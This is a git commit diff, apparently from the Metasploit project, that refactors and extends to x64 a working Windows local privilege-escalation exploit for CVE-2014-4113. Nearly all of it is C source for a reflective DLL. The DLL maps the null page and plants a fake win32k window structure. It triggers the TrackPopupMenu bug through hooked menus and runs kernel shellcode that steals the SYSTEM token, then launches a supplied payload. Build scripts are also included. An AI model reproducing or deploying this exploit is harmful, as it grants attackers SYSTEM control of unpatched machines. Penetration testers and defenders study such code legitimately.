Land #4082, @OJ's cleanup and improvements for CVE-2014-4113

bug/bundler_fix
jvazquez-r7 2014-10-28 09:49:18 -05:00
commit c1b82bac0e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
7 changed files with 439 additions and 337 deletions

View File

@ -1,9 +1,9 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.30723.0
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{E80F11CD-6698-492F-B4B0-1A2348A24BB0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
@ -13,14 +13,14 @@ Global
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.ActiveCfg = Debug|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|Win32.Build.0 = Debug|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.ActiveCfg = Debug|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Debug|x64.Build.0 = Debug|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.ActiveCfg = Release|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|Win32.Build.0 = Release|Win32
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.ActiveCfg = Release|x64
{E80F11CD-6698-492F-B4B0-1A2348A24BB0}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@ -2,6 +2,9 @@
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// Uncomment this line to enable to debug output
//#define DEBUGGING
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
@ -9,23 +12,17 @@
#include <windows.h>
#undef WIN32_NO_STATUS
#ifdef DEBUGGING
// only needed because of the output printf stuff when debugging
#include <stdio.h>
#endif
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define DEBUGGING FALSE
#ifdef _M_X64
typedef unsigned __int64 QWORD;
typedef QWORD *PQWORD;
#endif
int WndProcClue = 0;
int HookCallbackClue = 0;
WNDPROC lpPrevWndFunc;
DWORD MyProcessId = 0;
DWORD OffsetWindows = 0;
#define PTR_SIZE sizeof(UINT_PTR)
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
@ -34,21 +31,22 @@ typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
);
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);
);
typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
);
typedef struct _SYSTEM_MODULE {
typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
@ -61,44 +59,60 @@ typedef struct _SYSTEM_MODULE {
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
BOOL bWndProcFlag = FALSE;
BOOL bHookCallbackFlag = FALSE;
WNDPROC lpPrevWndFunc;
DWORD dwMyProcessId = 0;
DWORD dwOffsetWindows = 0;
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
#ifdef DEBUGGING
void dprintf(char* pszFormat, ...)
{
char s_acBuf[2048];
va_list args;
va_start(args, pszFormat);
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
OutputDebugString(s_acBuf);
va_end(args);
}
#else
#define dprintf(...)
#endif
long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
EndMenu();
return -5;
}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
#ifdef _M_X64
if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue)
#else
if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue)
#endif
LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam)
{
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
{
HookCallbackClue = 1;
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
#ifdef _M_X64
lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
#else
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
#endif
bHookCallbackFlag = TRUE;
if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))
{
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == 289 && WndProcClue != 1) {
WndProcClue = 1;
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == 289 && !bWndProcFlag)
{
bWndProcFlag = TRUE;
PostMessageA(hwnd, 256, 40, 0);
PostMessageA(hwnd, 256, 39, 0);
PostMessageA(hwnd, 513, 0, 0);
@ -106,380 +120,375 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
DWORD_PTR __stdcall get_threadinfo_ptr(void)
{
#ifdef _M_X64
QWORD MyPtiCurrent(void) {
void *teb = (void *)__readgsqword(0x30);
QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
return Win32ThreadInfo;
}
PBYTE pTeb = (PBYTE)__readgsqword(0x30);
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78));
#else
DWORD __stdcall MyPtiCurrent() {
__asm {
mov eax, fs : 18h
mov eax, [eax + 40h]
}
}
PBYTE pTeb = (PBYTE)__readfsdword(0x18);
return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40));
#endif
}
int _stdcall shellcode_ring0(int one, int two, int three, int four) {
int _stdcall shellcode_ring0(int one, int two, int three, int four)
{
void *my_process_info = NULL;
void *system_info = NULL;
pPsLookupProcessByProcessId((HANDLE)MyProcessId, &my_process_info);
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &my_process_info);
pPsLookupProcessByProcessId((HANDLE)4, &system_info);
*(PDWORD)((PBYTE)my_process_info + OffsetWindows) = *(PDWORD)((PBYTE)system_info + OffsetWindows);
*(PDWORD)((PBYTE)my_process_info + dwOffsetWindows) = *(PDWORD)((PBYTE)system_info + dwOffsetWindows);
return 0;
}
void
LogMessage(char* pszFormat, ...) {
if (DEBUGGING != TRUE) {
return;
}
static char s_acBuf[2048];
va_list args;
va_start(args, pszFormat);
vsprintf(s_acBuf, pszFormat, args);
printf("%s\n", s_acBuf);
OutputDebugString(s_acBuf);
va_end(args);
}
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
void Win32kNullPage(LPVOID lpPayload) {
HWND hWnd;
WNDCLASSA WndClass;
LPBYTE promise_land = NULL;
HMODULE hNtdll = NULL;
HMODULE ntkrnl = NULL;
NTSTATUS status;
PULONG pSystemInfoBuffer = NULL;
lZwQuerySystemInformation pZwQuerySystemInformation = NULL;
ULONG SystemInfoBufferSize = 0;
char nt_name[256];
PVOID nt_base;
OSVERSIONINFOA VersionInformation;
void win32k_null_page(LPVOID lpPayload)
{
WNDCLASSA wndClass;
char szNtName[256];
PVOID pNtBase;
OSVERSIONINFOA versionInfo;
// Getting Windows version
LogMessage("[*] Getting Windows version...");
memset(&VersionInformation, 0, sizeof(OSVERSIONINFOA));
VersionInformation.dwOSVersionInfoSize = 148;
if (!GetVersionExA(&VersionInformation)) {
LogMessage("[!] Failed to get windows version");
dprintf("[*] Getting Windows version...");
memset(&versionInfo, 0, sizeof(OSVERSIONINFOA));
versionInfo.dwOSVersionInfoSize = 148;
if (!GetVersionExA(&versionInfo))
{
dprintf("[!] Failed to get windows version");
return;
}
#ifdef _M_X64
if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found...");
OffsetWindows = 0x208;
if (versionInfo.dwMajorVersion == 6 && versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
{
// Ex: Windows 7 SP1
dprintf("[*] Windows 6.1 found...");
dwOffsetWindows = 0x208;
}
#else
if (VersionInformation.dwMajorVersion == 6) {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
LogMessage("[*] Windows 6.1 found...");
OffsetWindows = 0xf8;
if (versionInfo.dwMajorVersion == 6)
{
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
{
// Ex: Windows 7 SP1
dprintf("[*] Windows 6.1 found...");
dwOffsetWindows = 0xf8;
}
else if (!VersionInformation.dwMinorVersion) {
LogMessage("[*] Windows 6.0 found..."); // Ex: Windows 2008 R2
OffsetWindows = 0xe0;
else if (!versionInfo.dwMinorVersion)
{
// Ex: Windows 2008 R2
dprintf("[*] Windows 6.0 found...");
dwOffsetWindows = 0xe0;
}
else {
LogMessage("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", VersionInformation.dwMinorVersion);
else
{
dprintf("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", versionInfo.dwMinorVersion);
return;
}
}
else if (VersionInformation.dwMajorVersion == 5) {
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3
LogMessage("[*] Windows 5.1 found...");
OffsetWindows = 0xc8;
else if (versionInfo.dwMajorVersion == 5)
{
if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 1)
{
// Ex: Windows XP SP3
dprintf("[*] Windows 5.1 found...");
dwOffsetWindows = 0xc8;
}
else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2) { // Ex: Windows 2003 SP2
LogMessage("[*] Windows 5.2 found...");
OffsetWindows = 0xd8;
else if (versionInfo.dwMinorVersion && versionInfo.dwMinorVersion == 2)
{
// Ex: Windows 2003 SP2
dprintf("[*] Windows 5.2 found...");
dwOffsetWindows = 0xd8;
}
else {
LogMessage("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm");
else
{
dprintf("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm");
return;
}
}
#endif
else {
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
else
{
dprintf("[!] Major Version %d found, not supported", versionInfo.dwMajorVersion);
return;
}
// Solve symbols
LogMessage("[*] Solving symbols...");
dprintf("[*] Solving symbols...");
hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
LogMessage("[!] Failed to Load ntdll...");
HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL)
{
dprintf("[!] Failed to Load ntdll...");
return;
}
pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (pZwQuerySystemInformation == NULL) {
LogMessage("[!] Failed to solve ZwQuerySystemInformation");
lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (pZwQuerySystemInformation == NULL)
{
dprintf("[!] Failed to solve ZwQuerySystemInformation");
return;
}
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
LogMessage("[!] Failed to solve NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL)
{
dprintf("[!] Failed to solve NtAllocateVirtualMemory");
return;
}
LogMessage("[*] Requesting Kernel loaded modules...");
dprintf("[*] Requesting Kernel loaded modules...");
status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
if (SystemInfoBufferSize == 0) {
LogMessage("[!] Requesting pZwQuerySystemInformation required length failed");
return;
}
else {
LogMessage("[*] pZwQuerySystemInformation required length %d", SystemInfoBufferSize);
}
pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
if (pSystemInfoBuffer == NULL) {
LogMessage("[!] Allocation for SystemInfo failed");
ULONG ulSystemInfoBufferSize = 0;
pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize);
if (ulSystemInfoBufferSize == 0)
{
dprintf("[!] Requesting pZwQuerySystemInformation required length failed");
return;
}
status = pZwQuerySystemInformation(11, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize);
if (status != STATUS_SUCCESS) {
LogMessage("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize);
if (pSystemInfoBuffer == NULL)
{
dprintf("[!] Allocation for SystemInfo failed");
return;
}
if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS)
{
dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
return;
}
LogMessage("[*] Parsing SYSTEM_INFO...");
dprintf("[*] Parsing SYSTEM_INFO...");
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
LogMessage("[*] %d Kernel modules found\n", smi->ModulesCount);
dprintf("[*] %d Kernel modules found", smi->ModulesCount);
memset(nt_name, 0, 256);
memset(szNtName, 0, 256);
int i = 0;
while (i < smi->ModulesCount) {
ULONG i = 0;
while (i < smi->ModulesCount)
{
SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
LogMessage("[*] Checking module %s", sm->Name);
if (strstr((char *)sm->Name, ".exe")) {
dprintf("[*] Checking module %s", sm->Name);
if (strstr((char *)sm->Name, ".exe"))
{
char *start = strstr((char *)sm->Name, "nt");
if (start != NULL) {
nt_base = sm->ImageBaseAddress;
strncpy_s(nt_name, 256, start, _TRUNCATE);
if (start != NULL)
{
pNtBase = sm->ImageBaseAddress;
strncpy_s(szNtName, 256, start, _TRUNCATE);
break;
}
}
i++;
}
if (nt_name == NULL) {
LogMessage("[!] nt not found");
if (szNtName == NULL)
{
dprintf("[!] nt not found");
return;
}
else {
LogMessage("[*] Good! nt found as %s at 0x%08x", nt_name, nt_base);
}
dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase);
ntkrnl = LoadLibraryA(nt_name);
HMODULE hNtKrnl = LoadLibraryA(szNtName);
LogMessage("[*] %s loaded in userspace at: %08x\n", nt_name, ntkrnl);
dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl);
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(ntkrnl, "PsLookupProcessByProcessId");
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId");
if (pPsLookupProcessByProcessId == NULL) {
LogMessage("[!] Failed to solve PsLookupProcessByProcessId\n");
if (pPsLookupProcessByProcessId == NULL)
{
dprintf("[!] Failed to solve PsLookupProcessByProcessId");
return;
}
#ifdef _M_X64
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
#else
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
#endif
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);
MyProcessId = GetCurrentProcessId();
dwMyProcessId = GetCurrentProcessId();
// Register Class
LogMessage("[*] Registering class...");
dprintf("[*] Registering class...");
memset(&WndClass, 0, sizeof(WNDCLASSA));
WndClass.lpfnWndProc = WndProc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
WndClass.lpszClassName = "woqunimalegebi";
memset(&wndClass, 0, sizeof(WNDCLASSA));
wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
wndClass.lpszClassName = "woqunimalegebi";
if (RegisterClassA(&WndClass) == 0) {
LogMessage("[!] RegisterClassA failed ");
if (!RegisterClassA(&wndClass))
{
dprintf("[!] RegisterClassA failed ");
return;
}
// Create Window
LogMessage("[*] Creating window...");
hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
dprintf("[*] Creating window...");
HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);
if (hWnd == NULL) {
LogMessage("[!] CreateWindowExA failed");
if (hWnd == NULL)
{
dprintf("[!] CreateWindowExA failed");
return;
}
// Making everything ready for exploitation...
LogMessage("[*] Allocating null page...");
dprintf("[*] Allocating null page...");
#ifdef _M_X64
ULONGLONG base_address = 0x00000000fffffffb;
ULONGLONG dwBaseAddress = 0x00000000fffffffb;
#else
DWORD base_address = 1;
DWORD dwBaseAddress = 1;
#endif
SIZE_T region_size = 0x1000;
ULONG zero_bits = 0;
HANDLE current_process = NULL;
current_process = GetCurrentProcess();
SIZE_T sRegionSize = 0x1000;
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
if (pNtAllocateVirtualMemory(current_process, (LPVOID*)(&base_address), 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
LogMessage("[!] Failed to allocate null page");
if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
{
dprintf("[!] Failed to allocate null page");
return;
}
LogMessage("[*] Getting PtiCurrent...");
dprintf("[*] Getting PtiCurrent...");
#ifdef _M_X64
ULONGLONG pti = MyPtiCurrent();
#else
DWORD pti = MyPtiCurrent();
#endif
DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
if (pti == 0) {
if (dwThreadInfoPtr == 0)
{
LoadLibrary("user32.dll");
LoadLibrary("gdi32.dll");
pti = MyPtiCurrent();
dwThreadInfoPtr = get_threadinfo_ptr();
}
if (pti == 0) {
LogMessage("[!] Filed to get PtiCurrent");
if (dwThreadInfoPtr == 0)
{
dprintf("[!] Filed to get current thread information");
return;
}
else {
#ifdef _M_X64
LogMessage("[*] Good! pti 0x%016llx", pti);
#else
LogMessage("[*] Good! pti 0x%08x", pti);
#endif
}
LogMessage("[*] Creating a fake structure at NULL...");
dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
dprintf("[*] Creating a fake structure at NULL...");
LPVOID lpPtr = NULL;
#ifdef _M_X64
void *test = NULL;
(QWORD)test = 0x10000000B;
*((PQWORD)test) = pti;
(DWORD_PTR)lpPtr = 0x10000000B;
*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
/* win32k!tagWND->bServerSideWindowProc = TRUE */
(QWORD)test = 0x100000025;
*((PBYTE)test) = 4;
(DWORD_PTR)lpPtr = 0x100000025;
*((PBYTE)lpPtr) = 4;
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
(QWORD)test = 0x10000008B;
*((PQWORD)test) = &shellcode_ring0;
(DWORD_PTR)lpPtr = 0x10000008B;
*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
#else
void *test = promise_land + 3;
LPBYTE lpPromisedLand = NULL;
lpPtr = lpPromisedLand + 3;
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
.text:BF8B93F4 02C mov edi, _gptiCurrent
.text:BF8B93FA 02C cmp edi, [esi + 8];
.text:BF8B93FD 02C jz loc_BF8B
*/
*(LPDWORD)test = pti;
*(LPDWORD)lpPtr = dwThreadInfoPtr;
*((LPBYTE)(promise_land + 0x11)) = 0x4;
*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
test = promise_land + 0x5b;
*(LPDWORD)test = (DWORD)shellcode_ring0;
lpPtr = lpPromisedLand + 0x5b;
*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
#endif
// Exploit!
LogMessage("[*] Triggering vulnerability...");
HMENU MenuOne = CreatePopupMenu();
if (MenuOne == NULL) {
LogMessage("[!] First CreatePopupMenu failed");
dprintf("[*] Triggering vulnerability...");
HMENU hMenuOne = CreatePopupMenu();
if (hMenuOne == NULL)
{
dprintf("[!] First CreatePopupMenu failed");
return;
}
MENUITEMINFOA MenuOneInfo;
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING;
MENUITEMINFOA menuOneInfo;
memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
menuOneInfo.fMask = MIIM_STRING;
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) {
LogMessage("[!] First InsertMenuItemA failed");
DestroyMenu(MenuOne);
if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
{
dprintf("[!] First InsertMenuItemA failed");
DestroyMenu(hMenuOne);
return;
}
HMENU MenuTwo = CreatePopupMenu();
if (MenuTwo == NULL) {
LogMessage("[!] Second CreatePopupMenu failed");
DestroyMenu(MenuOne);
HMENU hMenuTwo = CreatePopupMenu();
if (hMenuTwo == NULL)
{
dprintf("[!] Second CreatePopupMenu failed");
DestroyMenu(hMenuOne);
return;
}
MENUITEMINFOA MenuTwoInfo;
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1;
MenuTwoInfo.hSubMenu = MenuOne;
if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE) {
LogMessage("[!] Second InsertMenuItemA failed");
DestroyMenu(MenuTwo);
DestroyMenu(MenuOne);
MENUITEMINFOA menuTwoInfo;
memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
menuTwoInfo.dwTypeData = "";
menuTwoInfo.cch = 1;
menuTwoInfo.hSubMenu = hMenuOne;
if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
{
dprintf("[!] Second InsertMenuItemA failed");
DestroyMenu(hMenuTwo);
DestroyMenu(hMenuOne);
return;
}
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) {
LogMessage("[!] SetWindowsHookExA failed :-(\n");
DestroyMenu(MenuTwo);
DestroyMenu(MenuOne);
if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL)
{
dprintf("[!] SetWindowsHookExA failed :-(");
DestroyMenu(hMenuTwo);
DestroyMenu(hMenuOne);
return;
}
// 'crash' it!
TrackPopupMenu(MenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
// If everything worked process should be privileges at this point
LogMessage("[!] Executing payload...");
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
return;
dprintf("[!] Executing payload...");
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason) {
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
Win32kNullPage(lpReserved);
win32k_null_page(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
@ -487,4 +496,4 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
break;
}
return bReturnValue;
};
}

View File

@ -1,5 +1,5 @@
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<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@ -19,132 +19,224 @@
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<PropertyGroup Label="Globals">
<ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
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<RootNamespace>cve-2014-4113</RootNamespace>
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<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
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mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
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IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
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<ClCompile Include="cve-2014-4113.c" />
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</ImportGroup>
</Project>

View File

@ -4,14 +4,15 @@
<SolutionPath>.\cve-2014-4113.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86" />
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building CVE-2014-4113 win32k_null_page x86 Release version" />
<Message Text="Building CVE-2014-4113 track_popup_menu x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="CVE-2014-4113 is not supported in x64" />
<Message Text="Building CVE-2014-4113 track_popup_menu x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -48,7 +48,7 @@ IF "%ERRORLEVEL%"=="0" (
)
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2014-4113 (win32k_null_page)"
ECHO "Building CVE-2014-4113 (track_popup_menu)"
PUSHD CVE-2014-4113
msbuild.exe make.msbuild /target:%PLAT%
POPD